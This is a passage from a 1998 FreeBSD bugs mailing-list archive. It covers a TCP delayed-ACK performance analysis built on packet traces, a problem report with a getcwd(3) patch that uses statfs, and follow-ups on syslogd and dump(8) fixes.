15:27:37.799779 mango.830 > bigburnt.cmd: . 39427: 40867(1440) ack 26 win 17255 (DF) [tos 0x8] Now we get back 3 ACK's, since bigburnt is ACK'ing every other packet: 15:27:37.803520 bigburnt.cmd > mango.830: . ack 33667 win 10240 (DF) 15:27:37.808577 bigburnt.cmd > mango.830: . ack 36547 win 10240 (DF) 15:27:37.808657 bigburnt.cmd > mango.830: . ack 39427 win 10240 (DF) Now, SWS avoidance tells us that we still may not send our 160-byte packet; it doesn't fulfill any of the 3 rules: 1. It's an MSS-sized segment (not true) 2. The segment is larger than half the receiver's buffer (not true) 3. All outstanding data is ACK'd (not true) and this is all the data in our send buffer (true) We have to wait for one of these conditions to become true before we may send the 160-byte packet. After 200ms, bigburnt's delayed-ACK timer fires and it transmits the ACK for the 7th packet (this is part of ACK-every-other). At this time, condition (3) becomes true (all outstanding data is now ACK'd) so we may send our 160-byte packet. 15:27:37.998895 bigburnt.cmd > mango.830: . ack 40867 win 10240 (DF) 15:27:37.998931 mango.830 > bigburnt.cmd: P 40867: 41027(160) ack 26 win 17255 (DF) [tos 0x8] Finally, the server sends us our result: 15:27:37.999335 bigburnt.cmd > mango.830: P 26:33(7) ack 41027 win 10240 (DF) The 200ms delay every 7 packets is what's killing performance. This problem was much less severe before ACK-every-other was introduced; if every packet is ACK'd, the delay is reduced from a delayed-ACK timeout to the RTT of the connection. This doesn't happen when the MSS is 1024, because the 10240 byte buffer size is evenly divisible by the MSS, so rule (1) is always true. This isn't a particularly great workaround, since there's no way to guarantee that the MSS will be as large as 1024, and setting the MSS to 1024 when it can be larger hurts performance. Setting TCP_NODELAY on the socket removes the first half of step 3 of SWS avoidance, meaning that it will always send when it's all of the data in the socket buffer. I'm not sure what I think the TCP solution is; applications shouldn't have to set TCP_NODELAY just because (blocksize div MSS) % 2 != 0. (Substitute N for 2 for "ACK-every-N" peers.) I think the answer is that condition (3) SWS avoidance has to be modified to take into account the other end's ACK frequency. Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 19:44:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA17322 for freebsd-bugs-outgoing; Sat, 16 May 1998 19:44:13 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA17293 for ; Sat, 16 May 1998 19:44:08 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA18484; Sat, 16 May 1998 19:40:04 -0700 (PDT) Received: from salmon.maths.tcd.ie (mmdf@salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA16404 for ; Sat, 16 May 1998 19:38:53 -0700 (PDT) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 17 May 98 03:38:49 +0100 (BST) Message-Id: <9805170338.aa14317@walton.maths.tcd.ie> Date: Sun, 17 May 98 03:38:48 +0100 (BST) From: iedowse@maths.tcd.ie Reply-To: iedowse@maths.tcd.ie To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6658: -stable getcwd(3) performs unnecessary lstats Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6658 >Category: bin >Synopsis: -stable getcwd(3) performs unnecessary lstats >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat May 16 19:40:03 PDT 1998 >Last-Modified: >Originator: Ian Dowse >Organization: School of Mathematics, Trinity College Dublin >Release: FreeBSD 2.2.6-STABLE i386 >Environment: FreeBSD 2.2.6-STABLE >Description: getcwd(3) in -stable does a lot of lstat'ing every time it crosses a mount point. This can really slow down its operation if it has to lstat nfs disks or slow devices. The usual suggested workaround of putting all 'slow' filesystems in separate directories is not ideal. The path component that getcwd does all these lstats to find can virtually always be obtained using statfs(2) at a much lower cost. The patch below makes getcwd first try statfs, and then resort to the old method if this fails (I'm not convinced that statfs will get the correct answer in absolutely every situation). This PR can of course be ignored if a getcwd syscall is likely to appear soon in -stable. >How-To-Repeat: Run sh with cwd in filesystem /f1 while nfs filesystem /f2 is not responding. >Fix: *** /usr/src/lib/libc/gen/getcwd.c Thu Mar 26 09:22:48 1998 --- getcwd.c Sun May 17 03:30:24 1998 *************** *** 36,41 **** --- 36,42 ---- #endif /* LIBC_SCCS and not lint */ #include + #include #include #include *************** *** 169,175 **** if (dp->d_fileno == ino) break; } ! } else for (;;) { if (!(dp = readdir(dir))) goto notfound; --- 170,193 ---- if (dp->d_fileno == ino) break; } ! } else { ! struct statfs sfs; ! char *dirname; ! ! if (!statfs(".", &sfs) && ! (dirname = rindex(sfs.f_mntonname, '/'))) ! while((dp = readdir(dir))) { ! if (ISDOT(dp)) ! continue; ! bcopy(dp->d_name, bup, dp->d_namlen+1); ! if (!strcmp(dirname + 1, dp->d_name) && ! !lstat(up, &s) && ! s.st_dev == dev && ! s.st_ino == ino) ! goto found; ! } ! rewinddir(dir); ! for (;;) { if (!(dp = readdir(dir))) goto notfound; *************** *** 187,193 **** --- 205,213 ---- if (s.st_dev == dev && s.st_ino == ino) break; } + } + found: /* * Check for length of the current name, preceding slash, * leading slash. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 20:08:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA20480 for freebsd-bugs-outgoing; Sat, 16 May 1998 20:08:00 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from onion.ish.org (root@onion.ish.org [210.145.219.202]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA20465 for ; Sat, 16 May 1998 20:07:51 -0700 (PDT) (envelope-from ishizuka@ish.org) Received: from localhost (ishizuka@localhost [127.0.0.1]) by onion.ish.org (8.8.8/3.6Wbeta7-04/20/98) with ESMTP id MAA13297 for ; Sun, 17 May 1998 12:07:43 +0900 (JST) To: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6655 In-Reply-To: Your message of "Sat, 16 May 1998 15:27:32 -0700 (PDT)" <199805162227.PAA17713@freefall.freebsd.org> References: <199805162227.PAA17713@freefall.freebsd.org> X-Mailer: Mew version 1.93b33 on Emacs 19.28 / Mule 2.3 (SUETSUMUHANA) X-PGP-Fingerprint20: CE15 1ABE 49EA 3182 C0A9 20F6 C054 2821 5C22 D9DB X-PGP-Public-Key: http://www.ish.org/pgp-public-key.txt X-URL: http://www.ish.org/ Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <19980517120743Y.ishizuka@onion.ish.org> Date: Sun, 17 May 1998 12:07:43 +0900 From: Masachika ISHIZUKA X-Dispatcher: imput version 980506 Lines: 11 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Synopsis: syslogd on 3.0-980426-SNAP can't log via network > > Fixed on May 7 (syslogd.c 1.31) Thank you very much. I installed 1.31 from 3.0-980515-SNAP/src/susbin.a? and it works fine. --- ishizuka@ish.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 23:47:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA12638 for freebsd-bugs-outgoing; Sat, 16 May 1998 23:47:48 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA12623; Sat, 16 May 1998 23:47:38 -0700 (PDT) (envelope-from fenner@FreeBSD.org) From: Bill Fenner Received: (from fenner@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id XAA19868; Sat, 16 May 1998 23:43:32 -0700 (PDT) Date: Sat, 16 May 1998 23:43:32 -0700 (PDT) Message-Id: <199805170643.XAA19868@freefall.freebsd.org> To: wataru-s@mfeed.ad.jp, fenner@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6646 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: dump(8) using remote tape drive is too slow State-Changed-From-To: open-feedback State-Changed-By: fenner State-Changed-When: Sat May 16 23:41:44 PDT 1998 State-Changed-Why: Please try the recent commit to -stable: http://www.freebsd.org/cgi/cvsweb.cgi/src/sbin/dump/dumprmt.c.diff?r1=1.6.2.4&r2=1.6.2.5 My throughput to a remote /dev/null went from 50KB/sec to 777KB/sec after applying this diff; hopefully you will have similar results. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message